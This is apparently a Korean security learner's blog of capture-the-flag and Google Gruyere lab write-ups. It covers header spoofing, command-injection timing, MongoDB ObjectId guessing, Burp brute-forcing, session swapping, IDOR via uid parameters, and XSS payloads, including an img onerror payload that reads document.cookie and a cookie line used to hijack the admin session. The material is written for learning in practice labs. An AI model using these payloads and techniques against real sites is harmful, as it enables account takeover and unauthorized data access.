    user_level = request.headers.get('X-User', 'guest')

    if doc_id < 0 or doc_id >= 1000:
        abort(404)

    if doc_id not in documents:
        abort(404)

    document = documents[doc_id]

    if '/share' not in referer:
        return render_template('error.html', 
            message="Access denied. Documents can only be accessed from the share page."), 403

    if document['classification'] == 'confidential':
        if user_level != 'admin':
            return render_template('error.html', 
                message="Insufficient privileges. Administrator access required."), 403

    elif document['classification'] == 'internal':
        if user_level == 'guest':
            return render_template('error.html', 
                message="Internal documents require user authentication."), 401

    return render_template('document.html', doc=document, doc_id=doc_id)

이걸 보면 confidential 등급의 문서는 admin인 유저만 열람할 수 있는걸 알 수 있다.

@app.route('/api/docs')
def list_docs():
    SHOW_COUNT = 15
    user_level = request.headers.get('X-User', 'guest')
    visible_docs = []

    for doc_id, doc in documents.items():
        if doc['classification'] == 'public':
            visible_docs.append({'id': doc_id, 'title': doc['title'], 'classification': doc['classification']})
        elif doc['classification'] == 'internal' and user_level != 'guest':
            visible_docs.append({'id': doc_id, 'title': doc['title'], 'classification': doc['classification']})
        elif doc['classification'] == 'confidential' and user_level == 'admin':
            visible_docs.append({'id': doc_id, 'title': doc['title'], 'classification': doc['classification']})
        if len(visible_docs) >= SHOW_COUNT:
            break

    return jsonify(visible_docs)

문서들의 정보를 볼 수 있는 페이지다.

풀이

/api/docs로 가는 패킷을 잡아서 X-user: admin을 추가했다.

960번 문서가 flag 문서라는 것을 알 수 있다.

다시 /share로 돌아와서 아무 문서나 클릭하고 이렇게 패킷을 고쳐준다.

다시 오는 패킷도 똑같이 수정해준다.

flag를 찾았다!

문제 링크 : https://dreamhack.io/wargame/challenges/1151

문제 설명 Description Admin의 KEY가 필요합니다! 알맞은 KEY값을 입력하여 플래그를 획득하세요.

플래그 형식은 DH{...} 입니다.

이렇게 키를 넣어볼 수 있는 서비스 였다.

소스코드 보기

이 코드를 보면 cmd가 비어있지 않기만 하면 내부 블록으로 진입할 수 있다. 그리고 타임아웃 예외처리를 통해 키를 얻을 수 있다.

풀이

burp suite를 사용해 cmd_input=sleep 6를 입력하고 조금 뒤, 화면에 key가 출력됬다.

그 키를 다시 입력하고 submit 버튼을 누르면,

flag가 나온다!

이렇게 글을 쓰고 조회해 볼 수 있는 게시판인듯 하다.

FLAG라고 되어있는 글은 조회 할 수 없었다.

소스코드 분석

코드를 보니 이렇게 secret 글은 _id 값이 null로 되어있는듯 하다.

그래서 일단 /api/board 주소로 들어가봤다.

이렇게 역시나 secret 글은 _id가 null인 것을 볼 수 있다.

그래서 소스코드를 다시 한번 봐 보니

이렇게 /api/board/:board_id로 접속을 하면 내용을 인증없이 띄워주는 코드를 찾았다.

MongoDB ObjectId 생성 규칙

MongoDb는 ObjectID를 생성할때 규칙이 있었다.

그러면 뒷자리 6글자만 분석하여 추론하면 된다.

그럼 뒷자리가 모두 820047 820048 FLAG 82004a

그럼 FLAG에 들어갈 수는 820049이다.

풀이

이렇게 앞에 말한 방식으로 ObjectID를 만들면 6a5c55224046d4dc8f820049이 된다.

이렇게 /api/board/6a5c55224046d4dc8f820049에 접속하면

FLAG가 나온다.

소스코드 뜯어보기

사물함 번호는 영어 소문자, 숫자포함 4자리 문자열이고, 비밀번호는 100이상 200이하의 무작위 숫자다.

여기서 사물함 번호의 어느 글자까지 맞는지 알려주는 취약점이 있어서 burp suite로 브루트 포스 공격을 해서 한 글자씩 사물함 번호를 알아내면 될거같다.

사물함 번호 알아내기

사물함 번호를 일단 아무렇게나 입력해서 패킷을 잡는다. attack type을 sniper attack으로 설정하고 payload type을 brute focer로 설정한다.

알파벳 m이 길이가 혼자 1951로 다르다.

이런 방식으로 나머지 3개의 글자도 모두 구한다.

비밀번호 알아내기

payload설정을 이렇게 하고 start attack 버튼을 누른다.

해결

길이가 다른 패킷을 발견했다.

솔직히 여기서 뭘 하라는건지 잘 모르겠다.

소스코드 뜯어보기

음 이게 뭐지? get,post 검사도 안하고 session_storage를 리턴하고있다.

이 세션을 복사해두고 burp suite에서 변조해서 넣으면 될거같다.

burp suite로 세션 변조하기

guest로 로그인을 하고 온 패킷을 확인해본다.

여기서 Cookie: sessionid부분에서 sessionid를 아까 복사해둔 admin의 sessionid로 변조하면?

flag가 나온다

본격적으로 문서를 보면서 실습하다 보니 Reflected XSS via AJAX라는 내용이 있었다.

AJAX란?

• Ajax는 Asynchronous JavaScript And XML' 또는 'Asynchronous JavaScript transfer (x-fer)'의 약자이다. 말 그대로 JavaScript와 XML 형식을 이용한 비동기적 정보 교환 기법이다. - 나무위키

• 그냥 페이지 전체를 새로고침하지 않고 데이터만 슥 바꾸는 방법이라고 보면 된다.

AJAX가 사용되는 곳 찾기

다시 gruyere에 들어가서 계정생성,로그인을 해준다.

그냥 페이지 전체를 새로고침하지 않고 데이터만 슥 바꾸는 방법이라고 보면 된다.

이걸 보면 딱봐도 글 삭제,추가에 사용될거 같다.

이렇게 글을 하나 작성해주고 콘솔창을 열어서 저 [X]버튼을 찍어보면

<a href="/469790294992189573147013988367009809944/deletesnippet?index=0">[X]</a>

/deletesnippet이걸로 글을 삭제하고 ?index=0이걸로 어느 글을 삭제할지 정하는거 같다 index=0의 의미는 데이터가 리스트 같은데에 저장돼 있는데 그 인덱스 번호를 뜻하는거 같다.

여기서 ?index=0을 ?index=<script>alert("xss")</script>이렇게 바꿔보면

이렇게 팝업이 잘 뜨는것을 볼 수 있다.

관련 링크

• https://google-gruyere.appspot.com/
• https://google-gruyere.appspot.com/part2

이론만 막 배우니 머리에 들어오는게 없는거 같아 찾아본게 이 gruyere이다. 앞에 나오는 이상한 영어들은 일찌감치 집어치우고 실습부터 했다.

시작

먼저 들어가니 이런 사이트가 있었다. 밑으로 내려가서 Continue >>버튼을 누르고 들어가니 또 이런 영어들이 나를 반겨주는데 앞에서 말했듯이 집어치우고 https://google-gruyere.appspot.com/start를 눌러 본격적으로 시작한다.

이렇게 게시판같은 페이지가 뜨는데 일단 로그인부터 해보자.

회원가입창에서 가입을 해주고

로그인을 한다.

로그인을 해주면 이런 화면이 뜨는걸 볼 수 있다. 그리고 시작부터 gruyere의 허술함이 들어난다. https://google-gruyere.appspot.com/469790294992189573147013988367009809944/login?uid=junnyontop-pixel&pw=124QWEasd 이렇게 url에 id와 pw노출시킨 것이다.

위에 newSnippet을 눌러보니 게시글을 올릴 수 있는거 같다. Limited HTML is now supported in snippets (e.g., <b>, <i>, etc.)!이렇게 html태그를 허용해주는거 같다. 그래서 바로 script태그로 테스트 해보니 script태그는 안먹히는거 같다.

차례로 My Snippets을 눌러주니 https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl주소가 이렇게 생겼다. 혹시나 https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=이렇게 아무거나 찍어 보니

https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=cheddar 여기서

이렇게 다른 사람의 게시글을 훔쳐볼 수 있었다.

?uid=cheddar이걸 유용하게 써먹을 수 있을듯 하다.

혹시 관리자의 글도 볼 수 있을까 싶어, ?uid=admin,?uid=Admin이런걸 시도해 보니 대소문자 구분은 안하는거 같고 많은 걸 시도해 보던 도중...

?uid=administrator이걸 시도해보면 주소창은 https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=administrator인데

화면엔 Admin으로 표시되어있다.

뭔가 힌트를 얻은거 같지만 관리자의 게시글을 훔쳐볼순없었다.

다음으로 옆에있는 Profile을 누르니 이렇게 프로필을 수정할 수 있었다.

https://google-gruyere.appspot.com/469790294992189573147013988367009809944/editprofile.gtl여긴 주소가 이런데 아까 봤던 그걸 사용해 보자.

https://google-gruyere.appspot.com/469790294992189573147013988367009809944/editprofile.gtl?uid=cheddar

역시 맞았다! 이걸로 다른사람의 프로필도 수정할 수 있다.

그리고 여기에 Private Snippet이란 항목이 있다. 여기에 uid=administrator를 사용해보면 게시글을 볼 수 있을지도 모른다.

성공이다. 추가로 My password is secret. Get it?라는 정보도 획득했다. 이 정보에 따르면 관리자의 pw는secret같다.

로그아웃을 해주고 로그인 창에서 User name:administrator,Password:secret으로 작성해주니 관리자로 로그인을 성공했다!

관리자로 로그인한 상태의 페이지이다.

이제 xss공격을 해볼거다. 아까 html태그를 허용했지만 script태그는 안되던 New Snippet을 클릭하고,

<img src="" onerror="alert('xss')">

이렇게 작성해주면

You are not an author.라고 뜨면서 안된다. Profile에 들어가면 이렇게 선택지가 더 생긴걸 볼 수 있다.

Is author을 Yes로 변경해주고 다시 작성해주면 잘 뜨는것을 볼 수 있다.

추가로 쿠키까지 가져가 비밀번호 없이 로그인하는 것 까지 해보겠다.

<img src="" onerror="alert('쿠키: ' + document.cookie);">

아까처럼 스니펫에 이걸 추가하면

GRUYERE=31131337|administrator|admin|; GRUYERE_ID=404477456041413703389788683660411129398 쿠키가 나온다 이렇게 나온 쿠키를

로그아웃 후,

document.cookie = "GRUYERE=31131337|administrator|admin|";

콘솔창에 입력하면 로그인이 된다.

💡 이번 실습으로 배운 점

1. 파라미터는 믿을 게 못 된다: 클라이언트가 보내는 uid 같은 값은 누구나 수정할 수 있으므로, 서버에서 반드시 세션 기반의 검증을 거쳐야 한다.
2. 비밀번호 힌트의 위험성: 관리자라면 유추하기 쉬운 비밀번호나 힌트를 남기지 말아야 한다.
3. XSS의 위력: script 태그가 막혔더라도 onerror 같은 이벤트 핸들러를 통해 얼마든지 공격이 가능하다는 것을 깨달았다.